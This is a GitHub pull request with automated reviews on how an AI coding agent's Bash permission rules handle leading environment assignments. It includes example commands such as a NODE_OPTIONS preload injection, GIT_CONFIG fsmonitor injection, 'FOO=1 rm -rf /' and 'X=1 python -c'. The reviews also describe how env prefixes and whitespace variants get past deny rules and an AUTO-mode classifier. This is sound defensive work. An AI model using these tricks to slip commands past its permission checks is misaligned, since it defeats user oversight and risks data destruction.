Skip to content

fix(core): preserve environment prefixes in Bash permission rules - #10212

Open
SLP-DEV1 wants to merge 42 commits into
QwenLM:mainfrom
SLP-DEV1:fix/10197-env-prefix-bash-rules
Open

fix(core): preserve environment prefixes in Bash permission rules#10212
SLP-DEV1 wants to merge 42 commits into
QwenLM:mainfrom
SLP-DEV1:fix/10197-env-prefix-bash-rules

Conversation

@SLP-DEV1

@SLP-DEV1 SLP-DEV1 commented Aug 26, 2026

Copy link
Copy Markdown

What this PR does

Makes leading environment assignments part of Bash permission identity for every command-specific Bash pattern (exact, prefix, and glob) instead of silently stripping them before matching.

  • Keeps ordinary commands unchanged.
  • Prevents NODE_OPTIONS=... npm --version from inheriting Bash(npm --version).
  • Prevents GIT_CONFIG_* ... git status --short from inheriting Bash(git status --short).
  • Prevents generic static prefixes such as PYTHONPATH=/tmp/lib python3 ... from inheriting unprefixed prefix/glob rules.
  • Covers substitution-bearing prefixes such as X=$(...) npm --version, so this broader fix also addresses security: Bash allow rules can be bypassed by command substitution hidden in leading environment assignments #10192 and supersedes the narrower substitution-only approach in fix(permissions): preserve substitution-bearing env prefixes #10204.
  • Still permits an environment-prefixed command when the permission rule explicitly contains the same prefix.
  • Keeps the intentional Bash(*) allow-all behavior unchanged.
  • Adds end-to-end coverage showing a virtual Read allow cannot downgrade the conservative ask decision produced by an unmatched env-prefixed Bash command.

Why it's needed

Issue #10197 contains runtime-verified examples showing that leading environment assignments can materially change execution before the nominal command processes its arguments: NODE_OPTIONS=--require=... npm --version can execute a preload module, and GIT_CONFIG_* can inject executable Git configuration such as core.fsmonitor into an otherwise trusted git status invocation.

The previous normalization intentionally stripped leading assignments so commands like PYTHONPATH=/tmp/lib python3 ... could inherit an unprefixed Bash allow rule. That compatibility behavior is already pinned by an existing unit test. This PR deliberately changes that security boundary rather than changing it as an accidental side effect: command-specific Bash rules now authorize exactly the environment-prefixed identity the user wrote. A user who wants to allow the prefixed form can write that prefixed form explicitly.

The same rule closes #10192's substitution-bearing environment-prefix case as a strict subset of this policy.

Reviewer Test Plan

How to verify

  1. Confirm plain commands still match their existing rules.
  2. Confirm exact, prefix, and glob rules do not match the same command with an added leading environment assignment.
  3. Confirm NODE_OPTIONS=--require=/tmp/preload.cjs npm --version does not match Bash(npm --version).
  4. Confirm the GIT_CONFIG_* reproduction does not match Bash(git status --short).
  5. Confirm X=$(printf hidden) npm --version does not match Bash(npm --version).
  6. Confirm an explicitly prefixed rule still matches the same explicitly prefixed command.
  7. Confirm the lone Bash(*) catch-all continues to match env-prefixed commands.
  8. Through PermissionManager.evaluate(), verify that only allowing Bash(npm --version) leaves the NODE_OPTIONS=... npm --version form at ask.
  9. Verify that adding a virtual Read allow for an env-prefixed cat invocation cannot lower that Bash/AST ask decision back to allow; virtual shell-operation decisions are escalation-only.
  10. Run the focused regression suite covering rule-parser.env-prefix.test.ts, permission-manager.test.ts, shell-semantics.test.ts, and shell-utils.test.ts.

Evidence (Before & After)

Before: command normalization stripped leading assignments, so a command-specific rule such as Bash(npm --version) could authorize NODE_OPTIONS=--require=... npm --version. The existing suite also explicitly expected a glob such as python3 * to match PYTHONPATH=/tmp/lib python3 ....

After: that compatibility expectation is intentionally inverted. Exact, prefix, and glob Bash patterns retain the full env-prefixed command identity, explicit prefixed rules still work, Bash(*) remains a deliberate catch-all, and end-to-end PermissionManager coverage verifies the conservative result cannot be weakened through virtual shell-operation allows.

Tested on

OS Status
Linux (Ubuntu 24.04, GitHub Actions) ✅ fork validation
macOS ⚠️ Not tested
Windows ⚠️ Not tested

Environment (optional)

Node.js 22.23.2, npm 10.9.8, Vitest 3.2.7.

Risk & Scope

  • Main compatibility tradeoff: existing command-specific Bash rules no longer implicitly authorize the same command with arbitrary leading environment assignments. This includes formerly compatible examples such as PYTHONPATH=/tmp/lib python3 ....
  • Users who intentionally want an env-prefixed command auto-approved can write the full prefixed form into the rule.
  • Bash(*) remains unchanged because it is explicitly the global allow-all rule.
  • The adjacent virtual shell-operation extractor still removes env assignments for semantic extraction, but those virtual decisions can only escalate the Bash decision; they cannot turn the resulting ask into allow. A regression test pins that invariant.
  • No curated denylist of environment variable names is introduced; the policy is fail-safe and identity-based.
  • No API or config-schema migration is required.

Linked Issues

Fixes #10197
Fixes #10192

Supersedes #10204.

中文说明

此 PR 做了什么

让前置环境变量赋值成为所有命令级 Bash 权限模式(精确、前缀、glob)的一部分,不再在匹配前静默移除。

为什么需要它

#10197 包含经过运行时验证的例子:前置环境变量可以在名义命令处理参数之前改变真实执行行为。例如 NODE_OPTIONS=--require=... npm --version 可以先执行 preload 模块,GIT_CONFIG_* 可以把 core.fsmonitor 等可执行 Git 配置注入原本受信任的 git status

旧的规范化逻辑有意移除前置赋值,使 PYTHONPATH=/tmp/lib python3 ... 可以继承不带前缀的 Bash allow,而且现有单测明确固定了这个兼容行为。本 PR 是有意识地修改这条安全边界,而不是把它作为副作用翻转:命令级 Bash 规则现在只授权用户实际写出的环境身份。若用户确实想允许带前缀的形式,可以在规则中显式写出该前缀。

#10192 的 substitution-bearing env-prefix 情况是这条更严格策略的子集,因此也一并解决。

Reviewer Test Plan

如何验证

  1. 普通命令仍匹配原规则。
  2. 精确、前缀和 glob 规则都不会匹配额外加入环境变量前缀的同一命令。
  3. NODE_OPTIONS=--require=/tmp/preload.cjs npm --version 不匹配 Bash(npm --version)
  4. GIT_CONFIG_* 复现不匹配 Bash(git status --short)
  5. X=$(printf hidden) npm --version 不匹配 Bash(npm --version)
  6. 显式带前缀的规则仍匹配相同带前缀命令。
  7. Bash(*) 仍作为有意的全局 catch-all 生效。
  8. 通过 PermissionManager.evaluate() 验证:仅允许 Bash(npm --version) 时,NODE_OPTIONS=... npm --version 结果为 ask
  9. 验证即使存在虚拟 Read allow,也不能把 env-prefix 命令的 Bash/AST ask 降级成 allow;虚拟 shell 操作只允许升级权限决定。
  10. 运行 rule-parser.env-prefix.test.tspermission-manager.test.tsshell-semantics.test.tsshell-utils.test.ts 的聚焦回归套件。

Evidence (Before & After)

修改前:规范化会移除前置环境变量赋值,因此 Bash(npm --version) 可能授权 NODE_OPTIONS=--require=... npm --version。现有测试还明确要求 python3 * 匹配 PYTHONPATH=/tmp/lib python3 ...

修改后:该兼容预期被有意识地翻转。精确、前缀和 glob Bash 模式都会保留完整 env-prefix 身份;显式带前缀的规则仍可使用;Bash(*) 仍是明确的全局 allow;端到端 PermissionManager 测试保证虚拟 shell 操作 allow 无法削弱保守决定。

Tested on

OS 状态
Linux(Ubuntu 24.04,GitHub Actions) ✅ fork 验证
macOS ⚠️ 未测试
Windows ⚠️ 未测试

Environment (optional)

Node.js 22.23.2、npm 10.9.8、Vitest 3.2.7。

Risk & Scope

  • 主要兼容性取舍:现有命令级 Bash 规则不再隐式授权带任意前置环境变量的相同命令,包括以前兼容的 PYTHONPATH=/tmp/lib python3 ...
  • 若用户确实需要自动批准某个 env-prefix 命令,可以在规则中显式写完整前缀。
  • Bash(*) 保持不变,因为它本来就是明确的全局 allow。
  • 相邻的虚拟 shell 操作提取仍会为语义分析移除 env assignment,但虚拟决定只能升级 Bash 决定,不能把 ask 降成 allow;新增回归测试固定这一不变量。
  • 不引入环境变量名称 denylist;策略基于身份、默认保守。
  • 不需要 API 或配置 schema 迁移。

Linked Issues

Fixes #10197
Fixes #10192

Supersedes #10204.

@github-actions github-actions Bot added the review/self-reported The linked issue was opened by the PR author (self-reported) label Aug 26, 2026
@qwen-code-ci-bot

qwen-code-ci-bot commented Aug 26, 2026

Copy link
Copy Markdown
Collaborator

Qwen Triage finishedview run. See the stage comments in this thread for the result.

Qwen Triage 已完成 —— 查看运行。结果见本线程中的各阶段评论。

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Thanks for the PR, and for the thorough write-up in #10197!

Template ✓ — all sections present, bilingual body included.

Problem: observed, not theoretical. #10197 is a P1 security report with two runtime-verified reproductions — NODE_OPTIONS=--require=... npm --version executing the preload file before npm runs, and GIT_CONFIG_* triggering an fsmonitor hook during git status — showing that stripLeadingVariableAssignments() lets an env-prefixed command match a concrete Bash(...) allow rule. Both PoCs carry actual execution markers, so the problem demonstrably exists.

Direction: fail-safe matching — a rule for cmd does not authorize NAME=value cmd — is the direction the issue triage recommended, and it is consistent with how the AST safety layer already treats env-prefixed commands (conservative / ask). One important flag, though: your own open PR #10204 ("preserve substitution-bearing env prefixes") edits the same call site in the opposite direction — it keeps stripping for static prefixes and only rejects substitution-bearing ones. The two cannot both merge as written. Full fail-safe vs substitution-only guard vs a curated denylist of loader variables is a product-direction call a maintainer should make before either PR goes further — calling it out here so it doesn't get lost.

Size: core path (packages/core/src/permissions/): 12 production lines (11+/1− in rule-parser.ts), 41 test lines (new file), 0 generated/schema. Well under every threshold, but core permission machinery carries the Tier 2 bar regardless of size.

Approach: the diff is minimal, but its effect is broader than the description suggests — stripLeadingVariableAssignments() becomes effectively a no-op, so not just concrete rules but also prefix and glob rules stop matching env-prefixed commands. That drops the compatibility behavior the normalization was introduced for (the issue itself cites PYTHONPATH=/tmp/lib python3 script.py), and the existing suite asserts exactly that behavior — more on that in the code review.

Risk: no match against the revert-correlated high-risk paths. That said, this is the fifth open permission/security PR from the same author — each is reviewed on its own merits, but the overlapping scope across #10201 / #10202 / #10204 / #10206 / #10212 reinforces that a maintainer should steer the overall direction.

Moving on to code review. 🔍

中文说明

感谢提交 PR,也感谢 #10197 中详尽的分析!

模板 ✓ —— 各部分齐全,包含中文说明。

问题:已观测到,非理论性问题。#10197 是 P1 安全报告,包含两个经过运行时验证的复现——NODE_OPTIONS=--require=... npm --version 在 npm 运行之前执行了 preload 文件;GIT_CONFIG_*git status 期间触发了 fsmonitor hook——证明 stripLeadingVariableAssignments() 会让带环境变量前缀的命令匹配到具体的 Bash(...) allow 规则。两个 PoC 都有实际执行标记,问题确实存在。

方向:fail-safe 匹配——cmd 的规则不授权 NAME=value cmd——正是 issue triage 建议的方向,也与 AST 安全层对带环境变量前缀命令的既有处理方式(保守 / ask)一致。但有一个重要提醒:你同时打开的 PR #10204("preserve substitution-bearing env prefixes")修改的是同一个调用点,方向却相反——它保留了对静态前缀的剥离,只在含 shell 替换时拒绝。按现状两者无法同时合入。完全 fail-safe、仅防替换、还是维护一份危险加载器变量名单,这是产品方向决策,需要 maintainer 在任一 PR 继续推进之前拍板——在此明确提出,以免被遗漏。

规模:核心路径(packages/core/src/permissions/):12 行生产代码(rule-parser.ts 11+/1−),41 行测试(新文件),0 行生成/schema 代码。远低于各阈值,但核心权限机制无论规模大小都适用 Tier 2 标准。

方案:diff 很小,但实际影响比描述中更广——stripLeadingVariableAssignments() 实质上变成空操作,因此不仅是具体规则,前缀规则和通配符规则也不再匹配带环境变量前缀的命令。这丢掉了当初引入该规范化时的兼容性行为(issue 本身就以 PYTHONPATH=/tmp/lib python3 script.py 为例),而且现有测试套件中恰好有测试断言了这一行为——代码审查部分详述。

风险:未命中与 revert 相关的高风险路径。不过这是同一作者第五个打开的权限/安全相关 PR——每个都会独立评估,但 #10201 / #10202 / #10204 / #10206 / #10212 之间的范围重叠进一步说明需要 maintainer 来把握整体方向。

进入代码审查 🔍

Qwen Code · qwen3.8-max

Reviewed at 85b86e1b4eda983048897dd0eb4da1b75e4ef772 · re-run with @qwen-code /triage

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Code review

My independent take before reading the diff: for #10197 there are two sane fixes — (a) stop stripping env assignments before rule matching, or (b) keep stripping but refuse it when the prefix is not semantically static. This PR is option (a), so the idea is fine; the problems are in the landing.

1. Breaks an existing unit test (blocker). permission-manager.test.ts already contains 'matches commands with leading env var assignments':

expect(
  matchesCommandPattern('python3 *', 'PYTHONPATH=/tmp/lib python3 -c "print(1)"'),
).toBe(true);

After this change that returns false — the prefix is preserved, so the command no longer matches python3 *. The PR does not update this test, and the Reviewer Test Plan runs only the new test file. Statically, the unit suite goes red on this commit. That existing test also shows the stripping was a deliberate, tested compatibility choice — flipping it should be explicit (update the test, state the intended new behavior), not a side effect.

2. Conflicts with open PR #10204 (blocker). Same author, same function, opposite semantics: #10204 adds a hasShellSubstitution() guard and keeps stripping for static prefixes — its new test asserts FOO=bar npm --version still matches Bash(npm --version). This PR makes that assertion false. Only one direction can merge; a maintainer needs to choose between full fail-safe, substitution-only guard, or a curated denylist of loader variables (NODE_OPTIONS, LD_PRELOAD, GIT_CONFIG_*, BASH_ENV, …).

3. Broader than the description (suggestion). The body speaks of "concrete Bash allow rules", but the change applies to every pattern kind in matchesCommandPattern — prefix and glob rules too (finding 1's failing assertion is a glob rule). If that is the intended fail-safe posture, say so in the PR body and account for the compatibility regression: PYTHONPATH=/tmp/lib python3 script.py no longer matches a Bash(python3 script.py) rule — the exact use case the original normalization was added for, per #10197.

4. Adjacent path still strips (note, non-blocking). extractShellOperations in shell-semantics.ts still drops leading env assignments before virtual-op analysis. Worth confirming whether env-prefixed commands can still reach allow through Read/Write/WebFetch virtual rules now that Bash rules won't match them — if they can, fully closing #10197's threat model needs a companion change there.

No diagram or files table — two files, one function; they wouldn't earn their place.

Test evidence

The PR's own CI (the pull_request-event workflows: unit tests, build, typecheck) has not been triggered yet on this commit — no pull_request-event run exists for the head SHA, which for a first-time fork contributor usually means CI approval is still pending. What exists on the head commit:

Check Conclusion
precheck-pr / precheck ✅ success
label ✅ success
Unit / build / typecheck suites ⏳ not yet triggered

Finding 1 is therefore a static prediction (high confidence — the assertion and the new code path are both quoted above), not a CI observation; when the suite runs, it is the first thing it will report. Not verified end-to-end: the actual ask fallback at runtime through the AST / virtual-op path — no CI or local evidence exists for it on this commit.

Sandboxed verification would settle this: @qwen-code /verify — a sponsored run, since the author lacks write access a maintainer triggers it (it carries a pre-execution risk screen and a full workspace wipe before any PR code executes). It would prove end-to-end that with only Bash(npm --version) allowed, NODE_OPTIONS=--require=/tmp/preload.cjs npm --version actually lands on ask, including through the AST / virtual-op fallback paths that unit tests on matchesCommandPattern alone do not cover. Read the resulting report with the same skepticism as the fork's own CI logs.

中文说明

代码审查

读 diff 之前我自己的方案:针对 #10197 有两种合理修法——(a) 规则匹配前不再剥离环境变量赋值;(b) 保留剥离,但前缀语义上不静态时拒绝。本 PR 是 (a),思路没问题,问题出在落地上。

1. 破坏现有单测(阻塞)permission-manager.test.ts 中已有测试 'matches commands with leading env var assignments',断言 matchesCommandPattern('python3 *', 'PYTHONPATH=/tmp/lib python3 -c "print(1)"')true。此修改后结果为 false——前缀被保留,命令不再匹配 python3 *。PR 未更新该测试,且 Reviewer Test Plan 只运行新增测试文件。静态判断,该提交的单测会红。该现有测试也说明剥离行为是有意设计且被测试固化的兼容性选择——要翻转它应当显式进行(更新测试、声明预期的新行为),而不是顺带的副作用。

2. 与打开的 PR #10204 冲突(阻塞)。同一作者、同一函数、语义相反:#10204 增加 hasShellSubstitution() 守卫,对静态前缀保留剥离——其新测试断言 FOO=bar npm --version 仍匹配 Bash(npm --version)。本 PR 使该断言变为假。两个方向只能合入其一;需要 maintainer 在完全 fail-safe、仅防替换、危险加载器变量名单(NODE_OPTIONSLD_PRELOADGIT_CONFIG_*BASH_ENV 等)之间做选择。

3. 实际范围比描述更广(建议)。正文说的是"具体(concrete)Bash allow 规则",但此修改作用于 matchesCommandPattern 的所有模式类型——前缀规则和通配符规则同样受影响(发现 1 中失败的断言就是通配符规则)。如果这就是预期的 fail-safe 姿态,请在 PR 正文中明确说明,并说明兼容性回退:PYTHONPATH=/tmp/lib python3 script.py 将不再匹配 Bash(python3 script.py) 规则——而这正是 #10197 中提到的、当初引入该规范化的用途。

4. 相邻路径仍在剥离(备注,非阻塞)shell-semantics.tsextractShellOperations 在虚拟操作分析前仍会去掉前置环境变量赋值。值得确认:在 Bash 规则不再匹配之后,带环境前缀的命令是否仍可能通过 Read/Write/WebFetch 虚拟规则到达 allow——如果可以,要完整闭合 #10197 的威胁模型,那里需要同步修改。

两个文件、一个函数,序列图和文件表没有信息量,省略。

测试证据

该 PR 自己的 CI(pull_request 事件的工作流:单测、构建、类型检查)在此提交上尚未触发——head SHA 上不存在 pull_request 事件的运行,对首次贡献的 fork 通常意味着还在等待 CI 批准。该提交上现有的检查:precheck-pr / precheck 成功、label 成功,其余为机器人编排任务;单测/构建/类型检查套件未运行(见英文部分表格)。

因此发现 1 是静态推断(高置信——断言与新代码路径均已在上文引用),不是 CI 观测结果;套件一旦运行,这将是它最先报告的问题。端到端未验证:运行时经 AST / 虚拟操作回退路径实际得到 ask——此提交上没有任何 CI 或本地证据。

沙箱验证可以定论:@qwen-code /verify——由于作者没有写权限,需由 maintainer 触发(赞助运行,执行前有前置风险筛查和完整工作区清理)。它可以端到端证明:仅允许 Bash(npm --version) 时,NODE_OPTIONS=--require=/tmp/preload.cjs npm --version 确实落到 ask,包括 matchesCommandPattern 单测覆盖不到的 AST / 虚拟操作回退路径。请像对待 fork 自身 CI 日志一样审慎阅读其报告。

Qwen Code · qwen3.8-max

Reviewed at 85b86e1b4eda983048897dd0eb4da1b75e4ef772 · re-run with @qwen-code /triage

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Confidence: 2/5 — right instinct, but it breaks the existing suite as written and collides head-on with the author's own #10204.

Stepping back: the problem is real and the fail-safe direction is defensible — an allow rule for npm --version genuinely should not authorize NODE_OPTIONS=--require=/tmp/evil.cjs npm --version, and the reproductions in #10197 prove the gap. But I can't take this further in its current form:

  • It turns the suite red. The existing 'matches commands with leading env var assignments' test asserts the old behavior — for a glob rule, no less — and isn't updated. A security change that cannot pass the suite it lives in isn't mergeable, and the breakage is not an accident: that test codifies the compatibility behavior this PR deliberately removes.
  • It is one of two mutually exclusive directions open at once. fix(permissions): preserve substitution-bearing env prefixes #10204 (same author, same call site) keeps static-prefix stripping and only rejects substitution-bearing prefixes. Neither diff, test suite, nor PR body can tell us which posture the project should take — and the tradeoff is real: under this PR, every user who allowed python3 script.py and runs it with a PYTHONPATH= prefix starts seeing prompts. That is a maintainer decision, not a reviewer coin-flip.
  • It reaches further than it says. "Concrete rules" in the body, all pattern kinds in the code. The direction decision above should be made with the full blast radius on the table.

So: requesting changes on the concrete suite breakage, and escalating the direction question — @tanzhenxin (maintainers), this needs a human call before either #10212 or #10204 goes further: full fail-safe, substitution-only guard, or a curated loader-variable denylist. The answer determines which of these PRs should live. 🙏

中文说明

置信度:2/5 —— 方向直觉是对的,但按现状会弄红现有测试套件,并与作者自己的 #10204 正面冲突。

退一步看:问题真实存在,fail-safe 方向也站得住脚——允许 npm --version 的规则确实不应该授权 NODE_OPTIONS=--require=/tmp/evil.cjs npm --version#10197 的复现证明了这个缺口。但按当前形态我无法继续推进:

  • 它会让测试套件变红。 现有的 'matches commands with leading env var assignments' 测试断言的正是旧行为——而且还是一条通配符规则——却没有被更新。一个安全修改连自己所在的套件都过不了,谈不上合入;而且这个破坏不是意外:该测试固化的正是本 PR 有意移除的兼容性行为。
  • 两个互斥方向同时打开。 fix(permissions): preserve substitution-bearing env prefixes #10204(同一作者、同一调用点)保留对静态前缀的剥离,只拒绝含替换的前缀。任何一方的 diff、测试或 PR 正文都无法告诉我们项目应该采用哪种姿态——而这里的取舍是实实在在的:按本 PR,任何允许了 python3 script.py、又带 PYTHONPATH= 前缀运行它的用户都会开始看到确认弹窗。这是 maintainer 的决策,不是 reviewer 抛硬币。
  • 实际影响范围大于描述。 正文说的是"具体规则",代码作用于所有模式类型。上面的方向决策应当基于完整的影响范围来做。

因此:就具体的套件破坏提出修改请求,并把方向问题升级——@tanzhenxin(maintainers),在 #10212#10204 任一继续推进之前需要人工拍板:完全 fail-safe、仅防替换、还是维护一份加载器变量名单。答案决定这两个 PR 中哪一个应该留下。🙏

Qwen Code · qwen3.8-max

Reviewed at 85b86e1b4eda983048897dd0eb4da1b75e4ef772 · re-run with @qwen-code /triage

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@SLP-DEV1 Needs some rethinking — see my notes above. The two blockers: (1) the existing 'matches commands with leading env var assignments' test in permission-manager.test.ts asserts the old behavior and will fail with this change — flipping that tested compatibility choice needs to be explicit, not a side effect; (2) this and your open #10204 edit the same call site with opposite semantics and cannot both merge — a maintainer needs to pick the direction first. 🙏

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with @qwen-code /review. See workflow logs.

Copy link
Copy Markdown
Author

/review

Copy link
Copy Markdown
Author

@qwen-code /review

Copy link
Copy Markdown
Author

Validation after the review fixes: workspace build passed; focused Vitest suite passed 599/599 (9 env-prefix + 69 shell-utils + 109 shell-semantics + 412 permission-manager); ESLint --max-warnings 0, Prettier, and pre-commit checks all passed. Final PR diff is limited to the three intended permission/test files.

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

Not explored to full depth (tool budget reached): "agent 6c": running the new/existing vitest suites — the worktree has node_modules but no built packages/core/dist , the vitest globalSetup guard stopped the run, and I ….

Not reviewed: reverse audit — stopped before round 5 by the review time budget.

中文说明

仅完成部分审查,审查缺口已披露。

未探索到全部深度(达到工具调用预算):"agent 6c"running the new/existing vitest suites — the worktree has node_modules but no built packages/core/dist , the vitest globalSetup guard stopped the run, and I …

未审查:反向审计——评审时间预算不足,未能开始第 5 轮。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +1184 to +1186
if (firstCommandToken > 0) {
return trimmed;
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R1-1: Preserving the env prefix is applied uniformly to every rule kind, but matchesRule (rule-parser.ts:1586) serves deny, ask, and allow rules through this one matchesCommandPattern call site — so command-specific deny and ask rules silently stop matching env-prefixed commands that they matched before this PR. Under-matching is fail-closed for allow rules (the intended fix) but fail-open for restrictive rules.

Concretely, all probe-verified at this commit: with permissions.deny: ["Bash(rm -rf *)"], FOO=1 rm -rf / resolved to 'deny' before this PR and now resolves to 'ask' — and in YOLO mode needsConfirmation('ask', YOLO) is false, so the explicitly denied command executes with no prompt. With allow: ["Bash(*)"] + deny: ["Bash(rm -rf *)"], the same command resolves to 'allow' in default mode (was 'deny'). With ask: ["Bash(git push *)"] + allow: ["Bash"], FOO=bar git push --force resolves to 'allow' (was 'ask'). Without a broad allow rule the outcome is always 'ask' — still a downgrade of an explicit hard deny into a prompt the user can approve. No test in this diff exercises a deny or ask rule against an env-prefixed command.

Witness:

PR arm:     deny rule vs `FOO=1 rm -rf /`        = "ask"   (pre-change: "deny")
            allow Bash(*) + deny case            = "allow" (pre-change: "deny")
            ask-rule case                        = "allow" (pre-change: "ask")
            needsConfirmation('ask', YOLO)       = false

Fix direction: normalize asymmetrically by rule kind — keep the new identity-exact matching for allow rules, but have restrictive (deny/ask) matching also test the assignment-stripped form (e.g. thread the rule behavior through matchesRule into matchesCommandPattern, or retry the stripped form in evaluateSingle's deny/ask loops), so restrictive coverage is never narrower than before this PR.

When fixing, please add a test asserting that a PermissionManager with deny: ['Bash(rm -rf *)'] resolves FOO=1 rm -rf / to 'deny' (today 'ask'), plus an ask-rule analogue resolving to 'ask' — removing the dual-shape matching must turn both red.

中文说明

环境前缀保留被无差别地应用到所有规则类型,但 matchesRule(rule-parser.ts:1586)通过唯一的 matchesCommandPattern 调用点同时服务 deny、ask 和 allow 规则——因此命令级 deny 和 ask 规则会静默地不再匹配带环境前缀的命令,而这些命令在本 PR 之前是能匹配的。匹配变窄对 allow 规则是保守失败(即本 PR 的预期修复),对限制性规则却是开放失败。

以下均已在该提交上用探针验证:配置 permissions.deny: ["Bash(rm -rf *)"] 时,FOO=1 rm -rf / 在本 PR 之前解析为 'deny',现在解析为 'ask'——而 YOLO 模式下 needsConfirmation('ask', YOLO) 为 false,被显式拒绝的命令会在无任何提示的情况下执行。配置 allow: ["Bash(*)"] + deny: ["Bash(rm -rf *)"] 时,同一命令在默认模式下解析为 'allow'(原来是 'deny')。配置 ask: ["Bash(git push *)"] + allow: ["Bash"] 时,FOO=bar git push --force 解析为 'allow'(原来是 'ask')。若没有宽泛的 allow 规则,结果总是 'ask'——这仍是把显式硬拒绝降级为用户可能批准的提示。本 diff 中没有任何测试让 deny 或 ask 规则面对带环境前缀的命令。

修复方向:按规则类型做非对称规范化——allow 规则保留新的身份精确匹配,但限制性(deny/ask)匹配同时尝试去除赋值前缀的形式(例如把规则类型经 matchesRule 传入 matchesCommandPattern,或在 evaluateSingle 的 deny/ask 循环中重试去前缀形式),使限制性规则的覆盖面永不低于本 PR 之前。

修复时请补充测试:deny: ['Bash(rm -rf *)']PermissionManagerFOO=1 rm -rf / 应解析为 'deny'(当前为 'ask'),以及 ask 规则的对应断言(应为 'ask')——移除双形态匹配后这两个测试必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +1184 to +1186
if (firstCommandToken > 0) {
return trimmed;
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R1-3: This diff makes env-prefixed Bash allow rules a live rule shape for the first time (pre-change they could never match anything), but the AUTO-mode dangerous-rule classifier was not updated with them: isDangerousBashRule in dangerousRules.ts classifies on the first whitespace token, which for Bash(X=1 python *) is x=1 — not in DANGEROUS_BASH_INTERPRETERS. Such rules are therefore not stashed by stripDangerousRulesForAutoMode (nor by the AUTO invariants in addSessionAllowRule/addPersistentRule) and auto-approve interpreter execution in AUTO mode without the classifier ever seeing them.

Probe-verified at this commit: settings permissions.allow: ["Bash(X=1 python *)"], user enters AUTO mode, model runs X=1 python -c '<arbitrary code>' → auto-allowed ('allow'). The equivalent unprefixed rule Bash(python *) is correctly classified dangerous, stashed, and resolves to 'ask'. The env prefix is now a universal bypass for the whole interpreter list (python, npx, ssh, …), and this diff is what activates the bypass shape — the PR body now tells users to write exactly these prefixed rules.

Witness:

isDangerousBashRule(Bash(X=1 python *)) = false   (control Bash(python *) = true)
AUTO-session stash                      = {persistent: [], session: []}
evaluate(`X=1 python -c "print(1)"`) in AUTO = "allow"
control Bash(python *): stashed, evaluate = "ask"
pre-change (rule dead): evaluate = "ask"

Fix direction: in dangerousRules.ts, skip leading NAME=value tokens before classifying the leading command token — reuse ENV_ASSIGNMENT_REGEX from rule-parser.ts so both subsystems agree on what an env prefix is, and X=1 python * is judged exactly like python *.

When fixing, please add expect(isDangerousBashRule(parseRule('Bash(X=1 python *)'))).toBe(true) plus a findDangerousAllowRules stripping assertion to dangerousRules.test.ts — removing the env-skip must turn them red.

中文说明

本 diff 首次让带环境前缀的 Bash allow 规则成为有效的规则形态(此前它们永远匹配不到任何命令),但 AUTO 模式的危险规则分类器没有同步更新:dangerousRules.ts 中的 isDangerousBashRule 按第一个空白分词分类,对 Bash(X=1 python *) 取到的是 x=1——不在 DANGEROUS_BASH_INTERPRETERS 中。因此这类规则不会被 stripDangerousRulesForAutoMode 剥离(也不会被 addSessionAllowRule/addPersistentRule 的 AUTO 不变量拦截),在 AUTO 模式下会自动批准解释器执行,分类器完全看不到它们。

已在该提交上探针验证:配置 permissions.allow: ["Bash(X=1 python *)"],用户进入 AUTO 模式,模型运行 X=1 python -c '<任意代码>' → 自动放行('allow')。等价的不带前缀规则 Bash(python *) 被正确判定为危险、被剥离并解析为 'ask'。环境前缀现在是整个解释器清单(pythonnpxssh 等)的通用绕过方式,而激活这一绕过形态的正是本 diff——PR 正文现在正是让用户写这种带前缀的规则。

修复方向:在 dangerousRules.ts 中,分类首个命令分词之前先跳过前置的 NAME=value 分词——复用 rule-parser.ts 的 ENV_ASSIGNMENT_REGEX,让两个子系统对"什么是环境前缀"保持一致,使 X=1 python *python * 的判定完全相同。

修复时请在 dangerousRules.test.ts 中补充 expect(isDangerousBashRule(parseRule('Bash(X=1 python *)'))).toBe(true)findDangerousAllowRules 的剥离断言——移除 env 跳过后它们必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +1184 to +1186
if (firstCommandToken > 0) {
return trimmed;
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R1-8: The prefix branch returns trimmed verbatim — no whitespace canonicalization — while the non-prefix branch collapses whitespace via the token rejoin. Whitespace-equivalent spellings of an env-prefixed command therefore silently fail to match explicit env-prefixed rules, including deny rules. This is a defect in the capability this PR introduces: a base-tree A/B shows env-prefixed rules matched nothing pre-diff, so the fragility is new with this PR.

Probe-verified at this commit: with deny: ["Bash(FOO=bar rm -rf *)"], the exact spelling resolves to 'deny' (the new capability works), but FOO=bar\trm -rf / (tab) and FOO=bar rm -rf / (double space) — shell-identical commands — fail the pattern regex and resolve to 'ask': execution wherever 'ask' is auto-approved (e.g. YOLO). An extra benign assignment (FOO=bar BAZ=x rm -rf /) also evades. The allow direction suffers the symmetric failure: explicit prefixed allow rules re-prompt forever on whitespace variants.

Witness:

exact spelling:   match = true,  e2e = "deny"
tab variant:      match = false, e2e = "ask"
double space:     match = false, e2e = "ask"
extra assignment: match = false
control (non-prefix branch, double space): `rm -rf  /` matches `rm -rf *` = true
BASE arm: env-prefixed deny rules matched nothing pre-diff

Fix direction: canonicalize whitespace in the prefix branch the same way the non-prefix branch does — but quote-preserving. Note the naive return tokens.join(' ') was run as a mutant and demonstrably breaks quoted env values: matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm') flips true→false because shell-quote strips quotes from tokens. Collapse unquoted whitespace runs in trimmed instead.

